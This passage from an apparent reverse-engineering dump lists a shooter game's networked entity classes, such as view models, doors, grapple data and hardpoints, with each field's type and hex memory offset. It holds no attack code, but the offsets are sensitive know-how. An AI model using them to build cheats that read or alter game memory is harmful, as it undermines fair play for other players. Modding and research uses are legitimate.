m_parentAttachmentHitbox +DT_BaseGrenade!0x0838 m_parentAttachmentModel +DT_BaseGrenade!0x2c41 m_doesExplode +DT_BaseGrenade!0x2c44 m_DmgRadius +DT_BaseGrenade!0x2c68 m_grenadeStatusFlags +DT_BaseGrenade!0x2cd8 m_ziplineGrenadeExpectedEndPosition +``` +
+
+class DT_BaseViewModel + +``` +{ + overlay_vars: DT_OverlayVars, + m_animStartTime: Time, + m_animOverlayIsActive: DataTable, + m_animStartCycle: Float, + m_animPlaybackRate: Float, + m_animFrozen: Int, + m_animOverlayStartTime: DataTable, + m_animModelIndex: Int, + m_animSequence: Int, + m_nNewSequenceParity: Int, + m_animOverlayStartCycle: DataTable, + m_fEffects: Int, + m_clrRender: Int, + m_animOverlayPlaybackRate: DataTable, + m_nModelIndex: Int, + m_animOverlayModelIndex: DataTable, + m_animOverlaySequence: DataTable, + m_animOverlayWeight: DataTable, + m_animOverlayOrder: DataTable, + m_animOverlayAnimTime: DataTable, + m_animOverlayFadeInDuration: DataTable, + m_animOverlayFadeOutDuration: DataTable, + m_nRenderMode: Int, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Int, + m_flModelScale: Float, + m_overlayEventParity: DataTable, + m_viewModelOwner: Int, + m_projectileIsVisible: Int, + m_bBlockEventLayer: Int, + m_isAdsTransition: Int, + m_hWeapon: Int, + m_tracerAttachments: DataTable, + m_tracerAttachmentsScoped: DataTable, +} +``` + +### Offsets + +``` +DT_BaseViewModel!0x0000 overlay_vars +DT_BaseViewModel!0x0008 m_animStartTime +DT_BaseViewModel!0x0008 m_animOverlayIsActive +DT_BaseViewModel!0x000c m_animStartCycle +DT_BaseViewModel!0x0010 m_animPlaybackRate +DT_BaseViewModel!0x0014 m_animFrozen +DT_BaseViewModel!0x0014 m_animOverlayStartTime +DT_BaseViewModel!0x0018 m_animModelIndex +DT_BaseViewModel!0x001c m_animSequence +DT_BaseViewModel!0x0020 m_nNewSequenceParity +DT_BaseViewModel!0x0038 m_animOverlayStartCycle +DT_BaseViewModel!0x0044 m_fEffects +DT_BaseViewModel!0x0050 m_clrRender +DT_BaseViewModel!0x005c m_animOverlayPlaybackRate +DT_BaseViewModel!0x0064 m_nModelIndex +DT_BaseViewModel!0x0080 m_animOverlayModelIndex +DT_BaseViewModel!0x00a4 m_animOverlaySequence +DT_BaseViewModel!0x00c8 m_animOverlayWeight +DT_BaseViewModel!0x00ec m_animOverlayOrder +DT_BaseViewModel!0x0110 m_animOverlayAnimTime +DT_BaseViewModel!0x0134 m_animOverlayFadeInDuration +DT_BaseViewModel!0x0158 m_animOverlayFadeOutDuration +DT_BaseViewModel!0x0491 m_nRenderMode +DT_BaseViewModel!0x0e90 m_nBody +DT_BaseViewModel!0x0e9c m_nResetEventsParity +DT_BaseViewModel!0x0f34 m_bSequenceFinished +DT_BaseViewModel!0x0f40 m_flModelScale +DT_BaseViewModel!0x1711 m_overlayEventParity +DT_BaseViewModel!0x19d8 m_viewModelOwner +DT_BaseViewModel!0x19dc m_projectileIsVisible +DT_BaseViewModel!0x1dc0 m_bBlockEventLayer +DT_BaseViewModel!0x1dc1 m_isAdsTransition +DT_BaseViewModel!0x1dc4 m_hWeapon +DT_BaseViewModel!0x1dc8 m_tracerAttachments +DT_BaseViewModel!0x1dd0 m_tracerAttachmentsScoped +``` +
+
+class DT_BoneFollower + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_modelIndex: Int, + m_boneIndex: Int, +} +``` + +### Offsets + +``` +DT_BoneFollower!0x004c m_cellX +DT_BoneFollower!0x0050 m_cellY +DT_BoneFollower!0x0054 m_cellZ +DT_BoneFollower!0x0058 m_localOrigin +DT_BoneFollower!0x0064 m_nModelIndex +DT_BoneFollower!0x03d4 m_networkedFlags +DT_BoneFollower!0x046c m_localAngles +DT_BoneFollower!0x0480 m_hOwnerEntity +DT_BoneFollower!0x0498 m_Collision +DT_BoneFollower!0x0518 m_CollisionGroup +DT_BoneFollower!0x0a40 m_modelIndex +DT_BoneFollower!0x0a44 m_boneIndex +``` +
+
+class DT_BreakableSurface extends DT_BaseEntity + +``` +{ + m_nNumWide: Int, + m_nNumHigh: Int, + m_flPanelWidth: Float, + m_flPanelHeight: Float, + m_vNormal: Vector, + m_vUp: Vector, + m_vCorner: Vector, + m_bIsBroken: Int, + m_nSurfaceType: Int, + m_RawPanelBitVec: DataTable, +} +``` + +### Offsets + +``` +DT_BreakableSurface!0x0a48 m_nNumWide +DT_BreakableSurface!0x0a4c m_nNumHigh +DT_BreakableSurface!0x0a50 m_flPanelWidth +DT_BreakableSurface!0x0a54 m_flPanelHeight +DT_BreakableSurface!0x0a58 m_vNormal +DT_BreakableSurface!0x0a64 m_vUp +DT_BreakableSurface!0x0a7c m_vCorner +DT_BreakableSurface!0x0a88 m_bIsBroken +DT_BreakableSurface!0x0a8c m_nSurfaceType +DT_BreakableSurface!0x0ac8 m_RawPanelBitVec +``` +
+
+class DT_CPropDoor + +``` +{ + HighlightSettings: DT_HighlightSettings, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_localAngles: Vector, + m_nSkin: Int, + m_skinMod: Int, + m_closedAngle: Float, + m_angle: Float, + m_startAngle: Float, + m_startAngleVel: Float, + m_startMoveTime: Time, + m_isLocked: Int, + m_oppositeDoor: Int, + m_interactingPlayer: Int, + m_interactingPlayerWantsOpen: Int, +} +``` + +### Offsets + +``` +DT_CPropDoor!0x0000 HighlightSettings +DT_CPropDoor!0x0044 m_fEffects +DT_CPropDoor!0x0048 m_usableType +DT_CPropDoor!0x004c m_cellX +DT_CPropDoor!0x0050 m_cellY +DT_CPropDoor!0x0054 m_cellZ +DT_CPropDoor!0x0058 m_localOrigin +DT_CPropDoor!0x0064 m_nModelIndex +DT_CPropDoor!0x03d4 m_networkedFlags +DT_CPropDoor!0x046c m_localAngles +DT_CPropDoor!0x0e88 m_nSkin +DT_CPropDoor!0x0e8c m_skinMod +DT_CPropDoor!0x1670 m_closedAngle +DT_CPropDoor!0x1674 m_angle +DT_CPropDoor!0x1678 m_startAngle +DT_CPropDoor!0x167c m_startAngleVel +DT_CPropDoor!0x1680 m_startMoveTime +DT_CPropDoor!0x1684 m_isLocked +DT_CPropDoor!0x1688 m_oppositeDoor +DT_CPropDoor!0x16d8 m_interactingPlayer +DT_CPropDoor!0x16dc m_interactingPlayerWantsOpen +``` +
+
+class DT_CascadeLight extends DT_BaseEntity + +``` +{ + m_shadowDirection: Vector, + m_envLightShadowDirection: Vector, + m_bEnabled: Int, + m_bEnableShadows: Int, + m_LightColor: Int, + m_cloudMaskName: String, + m_cloudOffset: Vector, + m_cloudScale: Float, +} +``` + +### Offsets + +``` +DT_CascadeLight!0x0a40 m_shadowDirection +DT_CascadeLight!0x0a58 m_envLightShadowDirection +DT_CascadeLight!0x0a6c m_bEnabled +DT_CascadeLight!0x0a6d m_bEnableShadows +DT_CascadeLight!0x0a6f m_LightColor +DT_CascadeLight!0x0a73 m_cloudMaskName +DT_CascadeLight!0x0b78 m_cloudOffset +DT_CascadeLight!0x0b84 m_cloudScale +``` +
+
+class DT_CollisionProperty + +``` +{ + m_vecMins: Vector, + m_vecMaxs: Vector, + m_usSolidFlags: Int, + m_nSolidType: Int, + m_triggerBloat: Int, + m_collisionDetailLevel: Int, + m_nSurroundType: Int, + m_vecSpecifiedSurroundingMins: Vector, + m_vecSpecifiedSurroundingMaxs: Vector, +} +``` + +### Offsets + +``` +DT_CollisionProperty!0x0010 m_vecMins +DT_CollisionProperty!0x001c m_vecMaxs +DT_CollisionProperty!0x0028 m_usSolidFlags +DT_CollisionProperty!0x002c m_nSolidType +DT_CollisionProperty!0x002d m_triggerBloat +DT_CollisionProperty!0x002e m_collisionDetailLevel +DT_CollisionProperty!0x003c m_nSurroundType +DT_CollisionProperty!0x0048 m_vecSpecifiedSurroundingMins +DT_CollisionProperty!0x0054 m_vecSpecifiedSurroundingMaxs +``` +
+
+class DT_ColorCorrection extends DT_BaseEntity + +``` +{ + m_hOwnerEntity: Int, + m_localOrigin: Vector, + m_MinFalloff: Float, + m_MaxFalloff: Float, + m_flFadeInDuration: Float, + m_flFadeOutDuration: Float, + m_flMaxWeight: Float, + m_flCurWeight: Float, + m_netLookupFilename: String, + m_bEnabled: Int, + m_bMaster: Int, + m_bClientSide: Int, + m_bExclusive: Int, +} +``` + +### Offsets + +``` +DT_ColorCorrection!0x0480 m_hOwnerEntity +DT_ColorCorrection!0x0a40 m_localOrigin +DT_ColorCorrection!0x0a4c m_MinFalloff +DT_ColorCorrection!0x0a50 m_MaxFalloff +DT_ColorCorrection!0x0a54 m_flFadeInDuration +DT_ColorCorrection!0x0a58 m_flFadeOutDuration +DT_ColorCorrection!0x0a5c m_flMaxWeight +DT_ColorCorrection!0x0a60 m_flCurWeight +DT_ColorCorrection!0x0a64 m_netLookupFilename +DT_ColorCorrection!0x0b68 m_bEnabled +DT_ColorCorrection!0x0b69 m_bMaster +DT_ColorCorrection!0x0b6a m_bClientSide +DT_ColorCorrection!0x0b6b m_bExclusive +``` +
+
+class DT_CurrentData_LocalPlayer + +``` +{ + m_viewConeAngleMin: Vector, + m_viewConeAngleMax: Vector, + m_stepSmoothingOffset: Vector, + m_duckTransitionRemainderMsec: Int, + m_vecPunchBase_Angle: Vector, + m_vecPunchBase_AngleVel: Vector, + m_vecPunchWeapon_Angle: Vector, + m_vecPunchWeapon_AngleVel: Vector, + m_pushedFixedPointOffset: DataTable, + m_pushedFixedPointOffsetReplayCompensated: DataTable, + m_localGravityRotation: Rotation, +} +``` + +### Offsets + +``` +DT_CurrentData_LocalPlayer!0x0000 m_viewConeAngleMin +DT_CurrentData_LocalPlayer!0x000c m_viewConeAngleMax +DT_CurrentData_LocalPlayer!0x0018 m_stepSmoothingOffset +DT_CurrentData_LocalPlayer!0x0024 m_duckTransitionRemainderMsec +DT_CurrentData_LocalPlayer!0x0028 m_vecPunchBase_Angle +DT_CurrentData_LocalPlayer!0x0034 m_vecPunchBase_AngleVel +DT_CurrentData_LocalPlayer!0x0040 m_vecPunchWeapon_Angle +DT_CurrentData_LocalPlayer!0x004c m_vecPunchWeapon_AngleVel +DT_CurrentData_LocalPlayer!0x0058 m_pushedFixedPointOffset +DT_CurrentData_LocalPlayer!0x0064 m_pushedFixedPointOffsetReplayCompensated +DT_CurrentData_LocalPlayer!0x007c m_localGravityRotation +``` +
+
+class DT_CurrentData_Player + +``` +{ + m_flHullHeight: Float, + m_angEyeAngles.x: Float, + m_angEyeAngles.y: Float, + m_traversalAnimProgress: Float, + m_sprintTiltFrac: Float, + m_ammoPoolCount: DataTable, +} +``` + +### Offsets + +``` +DT_CurrentData_Player!0x0014 m_flHullHeight +DT_CurrentData_Player!0x0018 m_angEyeAngles.x +DT_CurrentData_Player!0x001c m_angEyeAngles.y +DT_CurrentData_Player!0x0024 m_traversalAnimProgress +DT_CurrentData_Player!0x0028 m_sprintTiltFrac +DT_CurrentData_Player!0x002c m_ammoPoolCount +``` +
+
+class DT_DoorMover + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_vecAngVelocity: Vector, + m_networkedFlags: Int, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_iSignifierName: String, + m_scriptNameIndex: Int, + m_holdUsePrompt: String, + m_pressUsePrompt: String, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_doorFlags: Int, +} +``` + +### Offsets + +``` +DT_DoorMover!0x001c moveparent +DT_DoorMover!0x0020 m_parentAttachmentType +DT_DoorMover!0x0024 m_parentAttachmentIndex +DT_DoorMover!0x0044 m_fEffects +DT_DoorMover!0x0048 m_usableType +DT_DoorMover!0x004c m_cellX +DT_DoorMover!0x0050 m_cellY +DT_DoorMover!0x0054 m_cellZ +DT_DoorMover!0x0058 m_localOrigin +DT_DoorMover!0x0064 m_nModelIndex +DT_DoorMover!0x0128 m_vecAngVelocity +DT_DoorMover!0x03d4 m_networkedFlags +DT_DoorMover!0x0460 m_vecVelocity +DT_DoorMover!0x046c m_localAngles +DT_DoorMover!0x0498 m_Collision +DT_DoorMover!0x0518 m_CollisionGroup +DT_DoorMover!0x0558 m_iSignifierName +DT_DoorMover!0x0668 m_scriptNameIndex +DT_DoorMover!0x06f0 m_holdUsePrompt +DT_DoorMover!0x06f8 m_pressUsePrompt +DT_DoorMover!0x0834 m_parentAttachmentHitbox +DT_DoorMover!0x0838 m_parentAttachmentModel +DT_DoorMover!0x0844 m_fadeDist +DT_DoorMover!0x0908 m_usablePriority +DT_DoorMover!0x090c m_usableDistanceOverride +DT_DoorMover!0x0910 m_usableFOV +DT_DoorMover!0x0914 m_usePromptSize +DT_DoorMover!0x1880 m_doorFlags +``` +
+
+class DT_DynamicLight extends DT_BaseEntity + +``` +{ + m_Flags: Int, + m_LightStyle: Int, + m_Radius: Float, + m_Exponent: Int, + m_InnerAngle: Float, + m_OuterAngle: Float, + m_SpotRadius: Float, +} +``` + +### Offsets + +``` +DT_DynamicLight!0x0a40 m_Flags +DT_DynamicLight!0x0a41 m_LightStyle +DT_DynamicLight!0x0a44 m_Radius +DT_DynamicLight!0x0a48 m_Exponent +DT_DynamicLight!0x0a4c m_InnerAngle +DT_DynamicLight!0x0a50 m_OuterAngle +DT_DynamicLight!0x0a54 m_SpotRadius +``` +
+
+class DT_DynamicProp extends DT_BreakableProp + +``` +{ + m_iTeamNum: Int, + m_lifeState: Int, + m_bUseHitboxesForRenderBox: Int, + m_bAnimateInStaticShadow: Int, + m_wantsScopeHighlight: Int, +} +``` + +### Offsets + +``` +DT_DynamicProp!0x0430 m_iTeamNum +DT_DynamicProp!0x0770 m_lifeState +DT_DynamicProp!0x1601 m_bUseHitboxesForRenderBox +DT_DynamicProp!0x1602 m_bAnimateInStaticShadow +DT_DynamicProp!0x1603 m_wantsScopeHighlight +``` +
+
+class DT_DynamicPropLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_nSkin: Int, + m_skinMod: Int, +} +``` + +### Offsets + +``` +DT_DynamicPropLightweight!0x001c moveparent +DT_DynamicPropLightweight!0x0020 m_parentAttachmentType +DT_DynamicPropLightweight!0x0024 m_parentAttachmentIndex +DT_DynamicPropLightweight!0x0044 m_fEffects +DT_DynamicPropLightweight!0x004c m_cellX +DT_DynamicPropLightweight!0x0050 m_cellY +DT_DynamicPropLightweight!0x0054 m_cellZ +DT_DynamicPropLightweight!0x0058 m_localOrigin +DT_DynamicPropLightweight!0x0064 m_nModelIndex +DT_DynamicPropLightweight!0x03d4 m_networkedFlags +DT_DynamicPropLightweight!0x0428 m_visibilityFlags +DT_DynamicPropLightweight!0x046c m_localAngles +DT_DynamicPropLightweight!0x0498 m_Collision +DT_DynamicPropLightweight!0x0518 m_CollisionGroup +DT_DynamicPropLightweight!0x0838 m_parentAttachmentModel +DT_DynamicPropLightweight!0x0844 m_fadeDist +DT_DynamicPropLightweight!0x0e88 m_nSkin +DT_DynamicPropLightweight!0x0e8c m_skinMod +``` +
+
+class DT_EffectData + +``` +{ + m_vOrigin.x: Float, + m_vOrigin.y: Float, + m_vOrigin.z: Float, + m_vStart.x: Float, + m_vStart.y: Float, + m_vStart.z: Float, + m_vNormal: Vector, + m_vAngles: Vector, + m_effectFlags: Int, + m_effectEntHandle: Int, + m_otherEntHandle: Int, + m_flScale: Float, + m_flMagnitude: Float, + m_flRadius: Float, + m_nAttachmentIndex: Int, + m_attachmentIndexForViewmodel: Int, + m_nSurfaceProp: Int, + m_nDamageType: Int, + m_nOtherEntIndex: Int, + m_sharedInt32_A: Int, + m_sharedInt32_B: Int, + m_iImpactEffectTableIndex: Int, + m_nColor: Int, + m_persistentWeaponEffect: Int, + m_iEffectName: Int, +} +``` + +### Offsets + +``` +DT_EffectData!0x0000 m_vOrigin.x +DT_EffectData!0x0004 m_vOrigin.y +DT_EffectData!0x0008 m_vOrigin.z +DT_EffectData!0x000c m_vStart.x +DT_EffectData!0x0010 m_vStart.y +DT_EffectData!0x0014 m_vStart.z +DT_EffectData!0x0018 m_vNormal +DT_EffectData!0x0024 m_vAngles +DT_EffectData!0x0030 m_effectFlags +DT_EffectData!0x0050 m_effectEntHandle +DT_EffectData!0x0054 m_otherEntHandle +DT_EffectData!0x0058 m_flScale +DT_EffectData!0x005c m_flMagnitude +DT_EffectData!0x0060 m_flRadius +DT_EffectData!0x0064 m_nAttachmentIndex +DT_EffectData!0x0068 m_attachmentIndexForViewmodel +DT_EffectData!0x006c m_nSurfaceProp +DT_EffectData!0x0070 m_nDamageType +DT_EffectData!0x0074 m_nOtherEntIndex +DT_EffectData!0x007c m_sharedInt32_A +DT_EffectData!0x0080 m_sharedInt32_B +DT_EffectData!0x0084 m_iImpactEffectTableIndex +DT_EffectData!0x0088 m_nColor +DT_EffectData!0x009c m_persistentWeaponEffect +DT_EffectData!0x00a0 m_iEffectName +``` +
+
+class DT_EntityDissolve extends DT_BaseEntity + +``` +{ + m_flStartTime: Time, + m_flFadeStart: Float, + m_flFadeLength: Float, + m_nDissolveType: Int, + m_isLethal: Int, +} +``` + +### Offsets + +``` +DT_EntityDissolve!0x0a48 m_flStartTime +DT_EntityDissolve!0x0a4c m_flFadeStart +DT_EntityDissolve!0x0a50 m_flFadeLength +DT_EntityDissolve!0x0a54 m_nDissolveType +DT_EntityDissolve!0x0a58 m_isLethal +``` +
+
+class DT_EntityLinkPage + +``` +{ + pageIndex: Int, + next: DataTable, + entity: DataTable, +} +``` + +### Offsets + +``` +DT_EntityLinkPage!0x0a40 pageIndex +DT_EntityLinkPage!0x0a44 next +DT_EntityLinkPage!0x0e44 entity +``` +
+
+class DT_EnvWindShared + +``` +{ + m_flStartTime: Time, + m_iWindSeed: Int, + m_iMinWind: Int, + m_iMaxWind: Int, + m_iMinGust: Int, + m_iMaxGust: Int, + m_flMinGustDelay: Float, + m_flMaxGustDelay: Float, + m_flGustDuration: Float, + m_iGustDirChange: Int, + m_iInitialWindDir: Int, + m_flInitialWindSpeed: Float, +} +``` + +### Offsets + +``` +DT_EnvWindShared!0x0008 m_flStartTime +DT_EnvWindShared!0x000c m_iWindSeed +DT_EnvWindShared!0x0010 m_iMinWind +DT_EnvWindShared!0x0014 m_iMaxWind +DT_EnvWindShared!0x001c m_iMinGust +DT_EnvWindShared!0x0020 m_iMaxGust +DT_EnvWindShared!0x0024 m_flMinGustDelay +DT_EnvWindShared!0x0028 m_flMaxGustDelay +DT_EnvWindShared!0x002c m_flGustDuration +DT_EnvWindShared!0x0030 m_iGustDirChange +DT_EnvWindShared!0x0070 m_iInitialWindDir +DT_EnvWindShared!0x0074 m_flInitialWindSpeed +``` +
+
+class DT_FuncBrushLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, +} +``` + +### Offsets + +``` +DT_FuncBrushLightweight!0x001c moveparent +DT_FuncBrushLightweight!0x0020 m_parentAttachmentType +DT_FuncBrushLightweight!0x0024 m_parentAttachmentIndex +DT_FuncBrushLightweight!0x004c m_cellX +DT_FuncBrushLightweight!0x0050 m_cellY +DT_FuncBrushLightweight!0x0054 m_cellZ +DT_FuncBrushLightweight!0x0058 m_localOrigin +DT_FuncBrushLightweight!0x0064 m_nModelIndex +DT_FuncBrushLightweight!0x03d4 m_networkedFlags +DT_FuncBrushLightweight!0x0428 m_visibilityFlags +DT_FuncBrushLightweight!0x046c m_localAngles +DT_FuncBrushLightweight!0x0498 m_Collision +DT_FuncBrushLightweight!0x0518 m_CollisionGroup +DT_FuncBrushLightweight!0x0834 m_parentAttachmentHitbox +DT_FuncBrushLightweight!0x0838 m_parentAttachmentModel +``` +
+
+class DT_GlobalNonRewinding + +``` +{ + m_playerObserver: DataTable, + m_playerMiscData: DataTable, +} +``` + +### Offsets + +``` +DT_GlobalNonRewinding!0x0a40 m_playerObserver +DT_GlobalNonRewinding!0x0e40 m_playerMiscData +``` +
+
+class DT_GrappleData + +``` +{ + m_grapplePoints: Array, + m_grappleVel: Vector, + m_grapplePoints[0]: Vector, + m_grapplePointCount: Int, + m_grappleAttached: Int, + m_grapplePulling: Int, + m_grappleSwinging: Int, + m_grappleRetracting: Int, + m_grappleForcedRetracting: Int, + m_grappleGracePeriodFinished: Int, + m_grappleUsedPower: Float, + m_grappleActivateTime: Time, + m_grapplePullTime: Time, + m_grappleAttachTime: Time, + m_grappleDetachTime: Time, + m_grappleMeleeTarget: Int, + m_grappleAutoAimTarget: Int, + m_grappleHasGoodVelocity: Int, + m_grappleLastGoodVelocityTime: Time, + m_grappleSwingDetachLowSpeed: Float, + m_grappleSwingHoldTime: Time, +} +``` + +### Offsets + +``` +DT_GrappleData!0x0000 m_grapplePoints +DT_GrappleData!0x0008 m_grappleVel +DT_GrappleData!0x0014 m_grapplePoints[0] +DT_GrappleData!0x0044 m_grapplePointCount +DT_GrappleData!0x0048 m_grappleAttached +DT_GrappleData!0x0049 m_grapplePulling +DT_GrappleData!0x004a m_grappleSwinging +DT_GrappleData!0x004b m_grappleRetracting +DT_GrappleData!0x004c m_grappleForcedRetracting +DT_GrappleData!0x004d m_grappleGracePeriodFinished +DT_GrappleData!0x0050 m_grappleUsedPower +DT_GrappleData!0x0054 m_grappleActivateTime +DT_GrappleData!0x0058 m_grapplePullTime +DT_GrappleData!0x005c m_grappleAttachTime +DT_GrappleData!0x0060 m_grappleDetachTime +DT_GrappleData!0x0064 m_grappleMeleeTarget +DT_GrappleData!0x0068 m_grappleAutoAimTarget +DT_GrappleData!0x006c m_grappleHasGoodVelocity +DT_GrappleData!0x0070 m_grappleLastGoodVelocityTime +DT_GrappleData!0x0074 m_grappleSwingDetachLowSpeed +DT_GrappleData!0x0078 m_grappleSwingHoldTime +``` +
+
+class DT_GrappleHook + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_realmsBitMask: BitMask, + m_grappleZipline: Int, +} +``` + +### Offsets + +``` +DT_GrappleHook!0x001c moveparent +DT_GrappleHook!0x0020 m_parentAttachmentType +DT_GrappleHook!0x0024 m_parentAttachmentIndex +DT_GrappleHook!0x004c m_cellX +DT_GrappleHook!0x0050 m_cellY +DT_GrappleHook!0x0054 m_cellZ +DT_GrappleHook!0x0058 m_localOrigin +DT_GrappleHook!0x0064 m_nModelIndex +DT_GrappleHook!0x0428 m_visibilityFlags +DT_GrappleHook!0x046c m_localAngles +DT_GrappleHook!0x0480 m_hOwnerEntity +DT_GrappleHook!0x0834 m_parentAttachmentHitbox +DT_GrappleHook!0x0a28 m_realmsBitMask +DT_GrappleHook!0x1600 m_grappleZipline +``` +
+
+class DT_HardPointEntity + +``` +{ + m_localOrigin: Vector, + m_iTeamNum: Int, + m_minimapData: DT_MinimapBaseEntityData, + m_state: Int, + m_estimatedCaptureTime: Float, + m_progressRefPoint: Float, + m_teamMilitiaAICount: Int, + m_teamIMCAICount: Int, + m_teamMilitiaPlayerCount: Int, + m_teamIMCPlayerCount: Int, + m_teamMilitiaPlayerTitanCount: Int, + m_teamIMCPlayerTitanCount: Int, + m_hardpointID: Int, + m_terminal: Int, +} +``` + +### Offsets + +``` +DT_HardPointEntity!0x0004 m_localOrigin +DT_HardPointEntity!0x0430 m_iTeamNum +DT_HardPointEntity!0x0948 m_minimapData +DT_HardPointEntity!0x0a44 m_state +DT_HardPointEntity!0x0a48 m_estimatedCaptureTime +DT_HardPointEntity!0x0a4c m_progressRefPoint +DT_HardPointEntity!0x0a50 m_teamMilitiaAICount +DT_HardPointEntity!0x0a54 m_teamIMCAICount +DT_HardPointEntity!0x0a58 m_teamMilitiaPlayerCount +DT_HardPointEntity!0x0a5c m_teamIMCPlayerCount +DT_HardPointEntity!0x0a60 m_teamMilitiaPlayerTitanCount +DT_HardPointEntity!0x0a64 m_teamIMCPlayerTitanCount +DT_HardPointEntity!0x0a68 m_hardpointID +DT_HardPointEntity!0x0a70 m_terminal +``` +
+
+class DT_HighlightSettings + +``` +{ + m_highlightParams: DataTable, + m_highlightFunctionBits: DataTable, + m_highlightServerFadeBases: DataTable, + m_highlightServerFadeStartTimes: DataTable, + m_highlightServerFadeEndTimes: DataTable, + m_highlightServerContextID: Int, + m_highlightTeamBits: Int, +} +``` + +### Offsets + +``` +DT_HighlightSettings!0x01b8 m_highlightParams +DT_HighlightSettings!0x02a8 m_highlightFunctionBits +DT_HighlightSettings!0x02f8 m_highlightServerFadeBases +DT_HighlightSettings!0x0300 m_highlightServerFadeStartTimes +DT_HighlightSettings!0x0308 m_highlightServerFadeEndTimes +DT_HighlightSettings!0x0348 m_highlightServerContextID +DT_HighlightSettings!0x0354 m_highlightTeamBits +``` +
+
+class DT_ImportantOnEntSound extends DT_BaseEntity + +``` +{ + m_networkTableSoundID: Int, + m_hAttachedToEntity: Int, + m_beginTime: Time, + m_hSuppressedClient: Int, + m_milesSignal: Int, +} +``` + +### Offsets + +``` +DT_ImportantOnEntSound!0x0a40 m_networkTableSoundID +DT_ImportantOnEntSound!0x0a44 m_hAttachedToEntity +DT_ImportantOnEntSound!0x0a48 m_beginTime +DT_ImportantOnEntSound!0x0a4c m_hSuppressedClient +DT_ImportantOnEntSound!0x0a50 m_milesSignal +``` +
+
+class DT_InfoPlacementHelper + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_localAngles: Vector, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, +} +``` + +### Offsets + +``` +DT_InfoPlacementHelper!0x0004 m_localOrigin +DT_InfoPlacementHelper!0x001c moveparent +DT_InfoPlacementHelper!0x0020 m_parentAttachmentType +DT_InfoPlacementHelper!0x0024 m_parentAttachmentIndex +DT_InfoPlacementHelper!0x046c m_localAngles +DT_InfoPlacementHelper!0x0834 m_parentAttachmentHitbox +DT_InfoPlacementHelper!0x0838 m_parentAttachmentModel +``` +
+
+class DT_InfoTarget + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_bIsSoundCodeControllerValueSet: Int, + m_flSoundCodeControllerValue: Float, + m_iTeamNum: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_iSignifierName: String, + m_iName: String, + m_scriptNameIndex: Int, + m_instanceNameIndex: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, +} +``` + +### Offsets + +``` +DT_InfoTarget!0x001c moveparent +DT_InfoTarget!0x0020 m_parentAttachmentType +DT_InfoTarget!0x0024 m_parentAttachmentIndex +DT_InfoTarget!0x004c m_cellX +DT_InfoTarget!0x0050 m_cellY +DT_InfoTarget!0x0054 m_cellZ +DT_InfoTarget!0x0058 m_localOrigin +DT_InfoTarget!0x03cc m_bIsSoundCodeControllerValueSet +DT_InfoTarget!0x03d0 m_flSoundCodeControllerValue +DT_InfoTarget!0x0430 m_iTeamNum +DT_InfoTarget!0x046c m_localAngles +DT_InfoTarget!0x0480 m_hOwnerEntity +DT_InfoTarget!0x0558 m_iSignifierName +DT_InfoTarget!0x0561 m_iName +DT_InfoTarget!0x0668 m_scriptNameIndex +DT_InfoTarget!0x066c m_instanceNameIndex +DT_InfoTarget!0x0834 m_parentAttachmentHitbox +DT_InfoTarget!0x0838 m_parentAttachmentModel +DT_InfoTarget!0x0a20 m_firstChildEntityLink +DT_InfoTarget!0x0a24 m_firstParentEntityLink +``` +
+
